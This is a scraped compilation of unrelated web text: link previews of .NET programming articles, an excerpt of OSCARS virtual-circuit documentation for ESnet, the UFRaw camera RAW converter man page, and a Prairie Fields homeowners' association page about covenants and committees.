The "Testable Object" Pattern This is a republished blog post from 2007. You can tell it's old because the tests were in NUnit instead of xUnit.net. :) I've demonstrated this a few times in presentations, and someone will inevitably ask for more information. Truth...
Middleware in ASP .NET Core This is the thirteenth of a series of posts on ASP .NET Core in 2019. In this series, we’ll cover 26 topics over a span of 26 weeks from January through June 2019, titled A-Z of ASP .NET Core! A –…
I've No More Fucks To Give I've No More Fucks To Give, a song by Thomas Benjamin Wild Esq, Damian Clark on Spotify
Champion: Readonly members on structs (16.3, Core 3) · Issue #1710 · dotnet/csharplang Readonly Instance Methods Proposed: https://github.com/dotnet/csharplang/blob/master/proposals/csharp-8.0/readonly-instance-members.md Prototype: Done Implementation: Done Specification: Not Starte...
Configure Visual Studio across your organization with .vsconfig | Visual Studio Setup As application requirements grow more complex, so do our solutions. Keeping developers’ environments configured across our organizations grows equally complex. Developers need to install specific workloads and components in order to build a solution. Some...
Create a modular application - Orchard Core Documentation You will build an application that is made of modules. The module will provide a Controller and a View while the Layout will be provided by the main application project.


Virtual Circuits¶
OSCARS 1.0 serves as the automated resource allocation engine to dynamically establish virtual circuits on ESnet. A virtual circuit (commonly referred to more simply as circuit throughout this documentation) provides a dedicated portion of available bandwidth according to the user’s desired schedule, service, and path requirements. The circuits represent logical connections with guaranteed bandwidth and service on the network, despite the fact that traffic is carried as IP-over-Optical.
This documentation details the major components of an OSCARS circuit, including the requested and reserved attributes, and the logical organization of these attributes within the software’s code. The figure below gives a high-level view of key OSCARS circuit components.


UFRAW(1) UFRAW(1) NAME UFRaw - Convert camera RAW images to standard image files. SYNOPSIS ufraw [OPTIONS] <rawfile(s)> ufraw-batch [OPTIONS] <rawfile(s)> DESCRIPTION The Unidentified Flying Raw (UFRaw) is a utility to read and manipulate raw images from digital cameras. It reads raw images using Dave Coffin's raw conversion utility - DCRaw. UFRaw supports basic color management using Little CMS, allowing the user to apply color profiles. For Nikon users UFRaw has the advantage that it can read the camera's tone curves. Even if you don't own a Nikon, you can still apply a Nikon curve to your images. By default 'ufraw' displays a preview window for each raw image allowing the user to tweak the image parameters before saving. If no raw images are given at the command line, UFRaw will display a file chooser dialog. To process the images with no questions asked (and no preview) use the command 'ufraw-batch'. The input files can be either raw images or UFRaw ID-files. ID-files contain a raw image filename and the parameters for handling the image. UFRaw can also work as a GIMP plug-in. To activate it simply open a raw image or a UFRaw ID-file in the GIMP. OPTIONS The options supplied on the command-line decide the starting-values for the GUI. The GUI will then allow you to tweak these values before saving the final image. General Options --version Display the version of UFRaw and exit. --help Display a brief description of how to use UFRaw and exit. --silent Do not display any messages during batch conversion. --conf=<ID-filename> Load all parameters from an ID-file. This feature can be used to tweak the parameters for one file using the GUI and using those parameters as the starting point for other images as well. Image Manipulation Options These command-line options override settings from the default configuration of UFRaw and from any loaded ID-file. The best way to learn about how these parameters work is to experiment with the GUI. All parameters correspond exactly to a setting available in the GUI. Not all parameters in the GUI have corresponding command-line options. --wb=camera|auto White balance setting. "camera" means that UFRaw tries to read the color-temperature and green color component that the camera recorded in the meta-information in the raw-file. This does not work for all cameras. If UFRaw fails to read the white-balance information from the meta-information, it falls back to "auto". "auto" means that UFRaw calculates the color-temperature and green color component automatically from the image data. The white-balance can also be set manually with the --temperature and --green options. --temperature=TEMP Manually set the color temperature in Kelvin (2000 - 7000). --green=GREEN Green color component. Range 0.20 to 2.50. --gamma=GAMMA Gamma adjustment of the base curve. Range 0.10 to 1.00. Default 0.45. --linearity=LINEARITY Linearity of the base curve. Range 0.00 to 1.00. Default 0.10. --exposure=auto|EXPOSURE Auto exposure or exposure correction in EV. Range -3.00 to 3.00. Default 0. --restore=clip|lch|hsv Control how highlights are restored when applying negative EV. 'clip' restores nothing and is therefore safe from any artifacts. 'lch' restores in LCH space, resulting in restored highlights with soft details (good for clouds). 'hsv' restores in HSV space, resulting in restored highlights with sharp details. The default is 'lch'. --clip=digital|film Control how highlights are clipped when applying positive EV. 'digital' corresponds to using a linear response, emulating the harsh behaviour of the digital sensor. 'film' emulate the soft film response. The default is 'digital'. --saturation=SAT Adjust the color saturation. Range 0.00 to 3.00. Default 1.0, use 0 for black & white output. --wavelet-denoising-threshold=THRESHOLD Wavelet denoising threshold (default 0.0). --base-curve=manual|linear|custom|camera|CURVE Type of tone curve to use. The base curve is a combination of the gamma curve corrected by the curve specified here. The base curve is applied to each channel of the raw data after the white balance and color matrix, but before the ICC transformation. "manual" means that a manual tone curve is used. This is probably not very useful as a command-line option, since there is no way to specify what the curve should look like. "linear" means that no tone curve corrections is performed. "custom" means that UFRaw shall use the curve supplied by the camera in the meta-information in the raw-file. "camera" means that UFRaw shall use the "custom" curve only if the camera was set to use it (according to the meta-information). Otherwise the "linear" curve is used. CURVE can be the filename (without path) of any curve that was previously loaded in the GUI. The default is "camera" if such a curve exists, linear otherwise. --base-curve-file=<curve-file> Load the base curve from a file. The curve file format can be either UFRaw's XML format or Nikon's NTC/NCV format. --curve=manual|linear|CURVE Type of luminosity curve to use. This curve is applied in HSV space and therefore hue and saturation should not be effected by it. "manual" means that a manual luminosity curve is used. This is probably not very useful as a command-line option, since there is no way to specify what the curve should look like. "linear" means that no luminosity correction is performed. CURVE can be the filename (without path) of any curve that was previously loaded in the GUI. The default is "linear". --curve-file=<curve-file> Load the luminosity curve from a file. The curve file format can be either UFRaw's XML format or Nikon's NTC/NCV format. --black-point=auto|BLACK Black-point value. Range 0.0 to 1.0, default 0.0. --interpolation=ahd|vng|four-color|ppg|bilinear Interpolation algorithm to use when converting from the Bayer-pattern to normal RGB values. AHD (Adaptive Homogeneity Directed) interpolation is the best, but also the slowest. VNG (Variable Number Gradients) is second best and a bit faster. Bilinear is the simplest yet fastest interpolation. "four-color" is a variation of the VNG interpolation that should only be used if you see strange square patterns in the VNG interpolation, See <http://www.cybercom.net/~dcoffin/dcraw/>. AHD is the default interpolation. AHD interpolation is not supported for cameras with four color filters, such as the Sony-828 RGBE filter. In such cases, VNG interpolation will be used instead. --color-smoothing Apply color smoothing. --grayscale=none|lightness|luminance|value|mixer Grayscale conversion algorithm to use (default none). --darkframe=FILE Use FILE for raw darkframe subtraction. Output Options The options which are related to the final output are: --shrink=FACTOR Shrink the image by FACTOR (default 1). --size=SIZE Downsize max(height,width) to SIZE. --rotate=camera|ANGLE|no Rotate image to camera's setting, by ANGLE degrees clockwise, or do not rotate the image (default camera) --crop-(left|right|top|bottom)=PIXELS Crop the output to the given pixel range, relative to the raw image after rotation but before any scaling. --out-type=ppm|tiff|tif|png|jpeg|jpg|fits Output file-format to use. The default output file-format is ppm. --out-depth=8|16 Output bit depth per channel. ppm, tiff, png and fits output formats can uses either 8 bits or 16 bits to encode each of the Red, Green and Blue components of each pixel. The jpeg format only allows for 8 bits for each color component. The raw-files contain more than eight bits of information for each color component. This means that by using an eight bit format, you are actually discarding some of the information supplied by the camera. This is not a problem if you only plan to view the image on screen. For prints you should consider a 16 bits workflow. --compression=VALUE JPEG quality factor. Range 0-100 with a higher number giving a higher quality at the cost of a larger file. Default 85. The --compression parameter is only relevant if the output file-format is jpeg. --[no]exif Embed exif in output. Default embed exif. Exif is currently embedded in JPEG, PNG and TIFF output. --[no]zip Enable [disable] TIFF zip compression. The zip-compression is loss- less. Default nozip. The --zip parameter is only relevant if the output file-format if tiff8 or tiff16. --out-path=PATH PATH for output file. In batch mode by default, output-files are placed in the same directory as the input-files. In interactive mode UFRaw tries to ''guess'' if you have a favorite output directory. --output=FILE Output file name to use. This is only relevant if a single raw-file is supplied on the command-line. . Use '-' to output to stdout. The default is to name the output-file the same as the input-file but with the extension given by the output file-format. --overwrite Overwrite existing files without asking. Default is to ask before deleting an existing file. --create-id=no|also|only Control whether UFRaw ID files are created for the output image. (Default is no). --embedded-image Extract the preview image embedded in the raw file instead of converting the raw image. Conversion Setting Priority Conversion settings are applied in the following priority order: 1. Command-line options 2. Settings from the configuration file specified with --conf=<ID-file> (ignoring any filenames in the ID-file). 3. Settings from an ID-file supplied as an input-file. 4. Settings from $HOME/.ufrawrc 5. UFRaw's default settings. This means that an option supplied on the command-line always takes precedence over all other options. The conversion settings can be changed in the GUI before the resulting image is saved. FILES $HOME/.ufrawrc - UFRaw resource file containing the user default settings. This is an XML file that can be modified with any text editor. Still, it is recommended not to edit this file. This file is updated from the GUI when you save an image, or when you explicitly ask to save this file in the 'Options' menu. $HOME/.ufraw-gtkrc - An optional file for setting up a specific GTK theme for UFRaw. ONLINE RESOURCES UFRaw homepage: <http://ufraw.sourceforge.net> DCRaw homepage: <http://www.cybercom.net/~dcoffin/dcraw> SEE ALSO The GIMP homepage: <http://www.gimp.org> UFRAW 2012-06-19 UFRAW(1)


The covenants are recorded in the county records in the county where the property is located and are legally binding. This means that when you purchase a lot or a home in Prairie Fields you automatically become a member of the HOA. The Covenants, which were established by the builder, are the rules of the Prairie Fields neighborhood. They govern what you can, cannot, or must do with respect to your home.
News
Events
The Prairie Fields HOA has a number of committees to assist in exploring issues, running an annual election, hosting neighborhood events, and more. Send an email to<EMAIL_ADDRESS>to volunteer on a committee.
The goal of the Architectural Control Committee is to preserve the property values of all homeowners in Prairie Fields, and to ensure compliance with applicable covenants when a homeowner makes changes to their property.
The Communications Committee is responsible for facilitating communications with residents of Prairie Fields, including an Annual Newsletter, maintaining this website and a Facebook group, and sending monthly email updates.
The Election Committee is responsible for running an annual election of the homeowners within Prairie Fields.
The Events Committee is responsible for organizing events for residents of Prairie Fields.
The Welcoming Committee is responsible for welcoming new residents to Prairie Fields.
Residents can use the Prairie Fields HOA Drop Box to drop off paperwork to the HOA without the cost of a stamp. The drop box is located on Prairie Rose Lane between Sunflower and Dropseed, on the West side of the street.